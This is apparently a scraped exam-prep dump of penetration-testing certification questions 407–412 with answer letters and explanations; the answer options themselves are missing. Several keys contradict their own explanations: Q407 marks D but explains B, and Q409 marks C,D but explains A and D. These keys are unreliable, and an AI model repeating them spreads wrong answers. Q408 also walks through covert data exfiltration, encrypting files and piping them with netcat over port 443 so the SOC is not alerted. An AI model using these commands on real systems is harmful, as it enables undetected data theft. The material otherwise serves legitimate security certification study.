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NEW QUESTION # 407
A penetration tester is performing a network security assessment. The tester wants to intercept communication between two users and then view and potentially modify transmitted dat a. Which of the following types of on-path attacks would be best to allow the penetration tester to achieve this result?
Answer: D
Explanation:
An on-path attack (previously known as MITM - Man-in-the-Middle) allows an attacker to intercept and modify communication between two parties.
ARP poisoning (Option B):
Attackers send fake ARP replies to associate their MAC address with the IP address of a legitimate device (e.g., gateway).
This forces traffic to flow through the attacker's system, enabling packet capture and manipulation.
Tools like Ettercap, Bettercap, and ARP spoofing scripts are commonly used.
Reference:
Incorrect options:
Option A (DNS spoofing): Redirects users to malicious domains but does not intercept traffic.
Option C (VLAN hopping): Allows traffic to traverse VLANs, but does not intercept user communication.
Option D (SYN flooding): A DoS attack that overwhelms a target with half-open connections, but does not intercept traffic.
NEW QUESTION # 408
A penetration tester discovers data to stage and exfiltrate. The client has authorized movement to the tester's attacking hosts only. Which of the following would be most appropriate to avoid alerting the SOC?
Answer: C
Explanation:
AES-256 (Advanced Encryption Standard with a 256-bit key) is a symmetric encryption algorithm widely used for securing data. Sending data over TCP port 443, which is typically used for HTTPS, helps to avoid detection by network monitoring systems as it blends with regular secure web traffic.
* Encrypting Data with AES-256:
* Use a secure key and initialization vector (IV) to encrypt the data using the AES-256 algorithm.
* Example encryption command using OpenSSL:
Step-by-Step Explanationopenssl enc -aes-256-cbc -salt -in plaintext.txt -out encrypted.bin -k secretkey
* Setting Up a Secure Tunnel:
* Use a tool like OpenSSH to create a secure tunnel over TCP port 443.
* Example command to set up a tunnel:
ssh -L 443:targetserver:443 user@intermediatehost
* Transferring Data Over the Tunnel:
* Use a tool like Netcat or SCP to transfer the encrypted data through the tunnel.
* Example Netcat command to send data:
cat encrypted.bin | nc targetserver 443
* Benefits of Using AES-256 and Port 443:
* Security: AES-256 provides strong encryption, making it difficult for attackers to decrypt the data without the key.
* Stealth: Sending data over port 443 helps avoid detection by security monitoring systems, as it appears as regular HTTPS traffic.
* Real-World Example:
* During a penetration test, the tester needs to exfiltrate sensitive data without triggering alerts. By encrypting the data with AES-256 and sending it over a tunnel to TCP port 443, the data exfiltration blends in with normal secure web traffic.
* References from Pentesting Literature:
* Various penetration testing guides and HTB write-ups emphasize the importance of using strong encryption like AES-256 for secure data transfer.
* Techniques for creating secure tunnels and exfiltrating data covertly are often discussed in advanced pentesting resources.
NEW QUESTION # 409
Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.)
Answer: C,D
Explanation:
A: The libraries may be vulnerable to security bugs or exploits that can compromise the application or the data. According to the web search results, open-source libraries often have vulnerabilities that can be exploited by attackers, such as Heartbleed, Shellshock, DROWN, or npm left-pad1234. These vulnerabilities can allow attackers to extract sensitive data, execute arbitrary commands, decrypt encrypted traffic, or break the functionality of the application. Therefore, using third-party open-source libraries in application code poses a significant security risk.
D: The provenance of code is unknown, meaning that the origin and history of the code are not verified or documented. According to the web search results, open-source libraries and client projects are developed and continuously evolving in an asynchronous way, which makes it difficult to track the changes and updates of the code2. Moreover, open-source libraries may have dependencies on other libraries, which can introduce additional risks or vulnerabilities1. Therefore, using third-party open-source libraries in application code poses a significant quality risk.
NEW QUESTION # 410
A penetration tester identifies the following open ports during a network enumeration scan:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
443/tcp open https
27017/tcp open mongodb
50123/tcp open ms-rpc
Which of the following commands did the tester use to get this output?
Answer: D
Explanation:
To detect all open ports and enumerate services, the tester needs to:
Use -sV (Service Version Detection)
Use -Pn (Disables ICMP ping to bypass firewalls)
Use -p- (Scans all 65,535 TCP ports)
nmap -sV -Pn -p- 10.10.10.10 (Option D):
This command performs full-port scanning, including high-numbered ports like 50123/tcp (ms-rpc).
Without -p-, high ports would be missed.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Nmap Scanning Techniques" Incorrect options:
Option A (-A): Includes OS detection but does not guarantee scanning all ports.
Option B (-sV without -p-): Scans default ports only, missing 50123/tcp.
Option C (-w): Invalid Nmap flag.
NEW QUESTION # 411
A penetration tester searches for an entry point into a client's network. The tester focuses on publicly available devices that may have exploitable weaknesses. Which of the following should the penetration tester use?
Answer: D
Explanation:
Shodan is a search engine designed to identify internet-facing devices and services, allowing the tester to find publicly accessible systems that may contain exploitable vulnerabilities.
NEW QUESTION # 412
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